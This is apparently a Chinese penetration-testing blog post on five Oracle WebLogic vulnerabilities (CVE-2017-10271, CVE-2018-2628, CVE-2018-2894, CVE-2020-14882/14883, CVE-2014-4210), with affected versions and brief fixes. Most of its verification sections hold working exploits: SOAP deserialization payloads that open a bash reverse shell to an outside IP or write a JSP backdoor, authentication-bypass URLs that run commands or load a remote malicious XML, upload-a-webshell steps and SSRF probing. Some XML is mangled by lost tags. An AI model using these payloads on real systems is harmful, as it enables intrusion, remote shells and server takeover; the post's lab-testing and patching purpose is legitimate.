• 【渗透测试】Weblogic系列漏洞


    目录

    🍺CVE-2017-10271(Weblogic XMLDecoder反序列化漏洞)

    🍻1、漏洞原理

    🍻2、影响版本

    🍻3、漏洞验证

    🍻4、修复方案

    🍺CVE-2018-2628(Weblogic T3协议反序列化漏洞)

    🍻1、漏洞原理

    🍻2、影响版本

    🍻3、漏洞验证

    🍻4、修复方案

    🍺CVE-2018-2894(WebLogic 任意文件上传漏洞)

    🍻1、漏洞原理

    🍻2、影响版本

    🍻3、漏洞验证

    🍻4、修复方案

    🍺CVE-2020-14882、CVE-2020-14883(WebLogic未授权访问、命令执行漏洞)

    🍻1、漏洞原理

    🍻2、影响版本

    🍻3、漏洞验证

    🍻4、修复方法

    🍺CVE-2014-4210(SSRF)

    🍻1、漏洞原理

    🍻2、影响版本

    🍻3、漏洞验证

    🍻4、修复方案


    🍺CVE-2017-10271(Weblogic XMLDecoder反序列化漏洞)

    🍻1、漏洞原理

        CVE-2017-10271漏洞主要是由WebLogic Server WLS组件远程命令执行漏洞,主要由wls-wsat.war触发该漏洞,触发漏洞url如下:http://IP:7001/wls-wsat/CoordinatorPortType post数据包,通过构造SOAP(XML)格式的请求,在解析的过程中导致XMLDecoder反序列化漏洞。

    注意:CVE-2017-10271是对CVE-2017-3506 的补丁绕过,将其中的object替换成了void

    🍻2、影响版本

    Weblogic 10.3.6 | 12.1.3.0.0 | 12.2.1.1.0

    🍻3、漏洞验证

    🥗(1)漏洞地址

    1. /wls-wsat/CoordinatorPortType
    2. /wls-wsat/RegistrationPortTypeRPC
    3. /wls-wsat/ParticipantPortType
    4. /wls-wsat/RegistrationRequesterPortType
    5. /wls-wsat/CoordinatorPortType11
    6. /wls-wsat/RegistrationPortTypeRPC11
    7. /wls-wsat/ParticipantPortType11
    8. /wls-wsat/RegistrationRequesterPortType1

    🥗(2)Payload

    🥂POC1:反弹shell

    1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    2. <soapenv:Header>
    3. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    4. <java version="1.4.0" class="java.beans.XMLDecoder">
    5. <void class="java.lang.ProcessBuilder">
    6. <array class="java.lang.String" length="3">
    7. <void index="0">
    8. <string>/bin/bashstring>
    9. void>
    10. <void index="1">
    11. <string>-cstring>
    12. void>
    13. <void index="2">
    14. <string>bash -i >& /dev/tcp/192.168.244.128/777 0>&1string>
    15. void>
    16. array>
    17. <void method="start"/>
    18. void>
    19. java>
    20. work:WorkContext>
    21. soapenv:Header>
    22. <soapenv:Body/>
    23. soapenv:Envelope>

    🥂POC2:写入后门

    1. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    2. <soapenv:Header>
    3. <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
    4. <java><java version="1.4.0" class="java.beans.XMLDecoder">
    5. <object class="java.io.PrintWriter">
    6. <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jspstring>
    7. <void method="println">
    8. <string>
    9. <% out.print("test"); %>
    10. ]]>
    11. string>
    12. void>
    13. <void method="close"/>
    14. object>java>java>
    15. work:WorkContext>
    16. soapenv:Header>
    17. <soapenv:Body/>
    18. soapenv:Envelope>

    🍻4、修复方案

    (1)根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除,当形成防护能力后,再进行恢复。

    (2)下载官方补丁修复。

    🍺CVE-2018-2628(Weblogic T3协议反序列化漏洞)

    🍻1、漏洞原理

        攻击者利用其他rmi【远程方法调用】绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议 数据,就可以获取目标服务器的权限。

    🍻2、影响版本

    Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3

    🍻3、漏洞验证

    利用漏洞验证工具进行测试发现存在该漏洞

    🍻4、修复方案

    (1)若通过Nginx/Apache配置反向代理的方式访问Weblogic应用,就限制Weblogic T3的直接访问,此漏洞也将不能直接被利用。

    (2)打官方的最新补丁。

    🍺CVE-2018-2894(WebLogic 任意文件上传漏洞)

    🍻1、漏洞原理

        Weblogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

    🍻2、影响版本

    Weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.2 | 12.2.1.3

    🍻3、漏洞验证

    (1)通过http://IP:7001/console访问靶场,进行登录,账号密码随机生成,查询命令:docker-compose logs | grep password

    (2)点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

    (3)访问漏洞页面:http://ip:7001/ws_utc/config.do,设置当前工作目录为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css,点击提交。

    (4)上传shell(jsp马):点击左上角的“安全”,“添加”上传木马文件,并在返回包中知道到时间戳,并通过以下路径访问或连接木马文件:http://ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

    🍻4、修复方案

    升级到最新版。

    🍺CVE-2020-14882、CVE-2020-14883(WebLogic未授权访问、命令执行漏洞)

    🍻1、漏洞原理

        CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

    🍻2、影响版本

    weblogic 10.3.6.0 | 12.1.3.0 | 12.2.1.3 | 12.2.1.4 | 14.1.1.0

    🍻3、漏洞验证

    (1)利用权限绕过漏洞(CVE-2020-14882),直接访问,漏洞URL:http://ip:7001/console/css/%252e%252e%252fconsole.portal或者http://ip:7001/console/images/%252e%252e%252fconsole.portal,其中%252e%252e%252f为../的URL二次编码。

    (2)虽然成功登录到后台页面但当前用户是低权限用户,并不能执行命令此时需要用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContex。其中第一种方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类,第二种方法是一种更为通用的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

    (2.1)com.tangosol.coherence.mvel2.sh.ShellSession:执行成功好页面显示404,但是在docker容器中查看已成功创建test文件夹,查询命令:docker-compose exec weblogic ls /tmp

    🥂POC:

    http://IP:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/test%27);%22)

    (2.2)com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContex:该方法需要提前将恶意代码部署在任意网站目录下,当访问该木马文件时即可触发,返回界面任是404界面,但是可以正常反弹。

    触发方式:

    http://192.168.244.128:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.244.1/poc.xml(木马文件路径)")

    🥂POC1:反弹shell

    1. "1.0" encoding="UTF-8" ?>
    2. <beans xmlns="http://www.springframework.org/schema/beans"
    3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    5. <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    6. <constructor-arg>
    7. <list>
    8. <value>bashvalue>
    9. <value>-cvalue>
    10. <value>& /dev/tcp/IP/端口 0>&1]]>value>
    11. list>
    12. constructor-arg>
    13. bean>
    14. beans>

    🥂POC2:创建文件夹

    1. "1.0" encoding="UTF-8" ?>
    2. <beans xmlns="http://www.springframework.org/schema/beans"
    3. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    4. xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    5. <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    6. <constructor-arg>
    7. <list>
    8. <value>bashvalue>
    9. <value>-cvalue>
    10. <value>value>
    11. list>
    12. constructor-arg>
    13. bean>
    14. beans>

    🍻4、修复方法

    (1)及时下载官方补丁进行升级修复。

    (2)关闭后台/console/console.portal的访问权限。

    (3)修改后台默认地址

    🍺CVE-2014-4210(SSRF)

    🍻1、漏洞原理

        利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。访问http://ip:7001/uddiexplorer/,无需登录即可查看 uddiexplorer 应用。

    🍻2、影响版本

    weblogic 10.0.2 | 10.3.6

    🍻3、漏洞验证

        访问漏洞测试点:http://IP:7001/uddiexplorer/SearchPublicRegistries.jsp,点击search,利用bp抓包,operator为可控参数,可以利用该漏洞进行内网探测。若该端口开放则返回“returned a 404 error code”,否则返回“could not connect over HTTP to server”

    🍻4、修复方案

    (1)删除uddiexplorer文件夹;限制uddiexplorer应用只能内网访问

    (2)将SearchPublicRegistries.jsp直接删除

    (3)Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。方法三采用的是改后辍的方式,修复步骤如下:

        1)将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份;

        2)将weblogic安装目录下的server/lib/uddiexplorer.war下载;

        3)用winrar等工具打开uddiexplorer.war;

        4)将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx;

        5)保存后上传回服务端替换原先的uddiexplorer.war;

        6)对于多台主机组成的集群,针对每台主机都要做这样的操作;

        7)由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic。

  • 相关阅读:
    [apue] 一图读懂 Unix 时间日期例程相互关系
    2020年数维杯数学建模C题 垃圾转运优化模型设计求解全过程文档及程序
    Python开源项目周排行 2023年第32周
    如何利用项目管理软件精准把控项目进度
    41-数组 _ 数组作为函数参数
    P2458 [SDOI2006]保安站岗
    小伙伴面经分享京东+面试八股文整套面试真题(含答案)
    华为云云耀云服务器L实例评测|云耀云服务器L实例搭建个人镜像站
    【滤波估计】基于双卡尔曼滤波实现soc和soh联合估计附matlab代码
    第十一章、python的异常处理------try except异常处理及其对模块Traceback的调用
  • 原文地址:https://blog.csdn.net/weixin_53972936/article/details/127641450